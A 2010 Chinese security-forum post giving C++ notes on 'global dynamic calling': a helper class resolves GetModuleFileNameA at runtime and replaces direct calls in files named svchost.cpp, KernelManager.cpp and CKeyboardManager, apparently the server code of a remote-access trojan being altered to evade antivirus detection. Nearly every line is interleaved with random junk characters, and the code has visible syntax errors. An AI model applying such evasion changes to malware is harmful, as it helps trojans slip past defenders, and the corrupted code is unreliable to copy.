Board logo

标题: [原创文章] 全局动态调用 [打印本页]

作者: ice_xke    时间: 2010-10-19 12:30     标题: 全局动态调用

全局动态调用笔记
* W0 ~  E- S+ f; E9 Fsvchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h, O. c% B* p0 o- U
----------------------------------------
: B% w) I2 @$ u% b: ^0 n9 jDTDY.h:2 e4 F) z' Q) K! B8 o5 E% N5 N( `# e

- B# j, p9 _0 W7 J! ^#if _MSC_VER>10005 z1 J  j0 o" P3 i$ X. N
#pragma once
1 D% F$ v% w: Z' N1 V+ w0 ]#endif //_MSC_VER>1000. a7 d0 B% A! t7 z8 ]+ n. w
#include<windows.h>1 t3 g* T; }2 y' w& Y: @
# a/ S( W0 z: @+ ]$ T: |
typedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);
9 b. y% [2 u! b; d  U& A) yclass DTDY
9 |+ Q8 S7 X3 C" a7 ^* E' N{; i8 a2 ]6 N8 v% X& T
public:
( X/ Z/ ]' B- w5 ]5 k* \6 U& JDTDY();! F1 n% S$ }; ?% C: Y3 h9 T1 ^
virtual ~DTDY();; t$ z# l4 T! |( n- U% }
public:" D& }$ l; ~& c; j/ ~2 N: r( J7 o& `
static pGetModuleFileNameA MyGetModuleFileName;
9 Y; |+ y+ |3 {static BOOL FunInitiallization();
& ]* O5 P- |; O3 U};- W9 z2 S, H& i  s
#endif
: O) w4 C) v0 p; N----------------------------------------6 H" q& v% ]3 ]1 @' E
( ?) }; J# F4 w$ r$ U
DTDY.cpp:8 Y# O  h# |% \( f! `  v
9 p' {* I$ n4 @5 J9 Q( W
#include "DTDY.h"
! L7 [4 ~6 u* z% S) FpGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;
7 f4 E- h; O, u2 S) G& s7 h; z$ UDTDY:TDY()6 Z2 b( T3 R0 x" \* L0 ?/ M/ r
{
8 S2 ]7 _& |, B1 Q$ s6 x}" p8 _# x8 C- [( s' q( n
DTDY::~DTDY()
4 D$ [8 w% n5 Q3 x9 D{
' N  H: x+ M. H8 ?}6 A8 f# X& V+ m5 T
BOOL DTDY::FunInitiallization()0 {# b" f9 l+ T1 Q" s; m
{
: m7 G6 D" @* \+ ~+ A9 \HMODULE hModule=LoadLibrary("kernel32.dll");$ |7 M8 Y. C7 z' [
MyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");  ~7 k0 f2 w8 E
if(!MyGetModuleFileName=) return FALSE;
' `/ |  S6 A3 R* h0 G% w: v6 w( A, N. G4 m5 `% W( o
return TRUE;/ L4 O0 o  A  s6 `' }" v  C* c  T
}
0 T# X5 x/ l$ j; N2 M0 m----------------------------------------
* O3 ~+ `1 i% I1 k5 s0 U: esvchost.cpp:0 Q  R/ F, `( r1 m; [8 }

3 q3 G& F* M  Q( o/ r2 s( `#include "DTDY.h", {' ]5 y$ P; \' ?" J/ W- g

- W, D5 u7 L% R& k7 M6 X6 lBOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)
, s9 G1 D+ k7 N' B{
$ l1 q1 k9 z2 S' q$ W* Cswitch(ul_reason_for_call); ^6 q+ }& Z- t% p% W
{1 Z7 Z' F, |! Z$ _1 f& _$ m
case DLL_PROCESS_ATTACH:. C4 o4 d) M" x1 W. X8 z
if(!DTDY::FunInitiallization()) return FALSE;
7 |& `8 Q! u' Q. ~) X: i# K3 E$ V. k& t$ D" ]. J
break;
; L$ o, p* C" L. d}
0 r3 M9 |. K7 A% |/ b}
9 P5 k6 ?. A- J( ]* S: d( ?( X! P% ?/ o: ~3 ^- F$ E
# w( J( e2 b+ y, E
GetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def7 i$ N/ p) q8 E0 D
改写为
% h9 i/ U8 S; \0 q# _DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));2 a& O+ N6 O  ^, B1 o
----------------------------------------
; o" |2 C/ E5 p3 ~7 fKernelManager.cpp:
, r7 _8 ]4 ?0 X, C/ x. P( D/ }( S/ d. A- t( H3 q
#include "../DTDY.h"
* U9 X  \* p; f, hGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));* G7 W( w& x  m# I
改写为
4 C" g3 b, ]/ z3 zDTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));1 R& S3 Y/ w) G. Q8 r
----------------------------------------




欢迎光临 【3.A.S.T】网络安全爱好者 (http://3ast.com/) Powered by Discuz! 7.2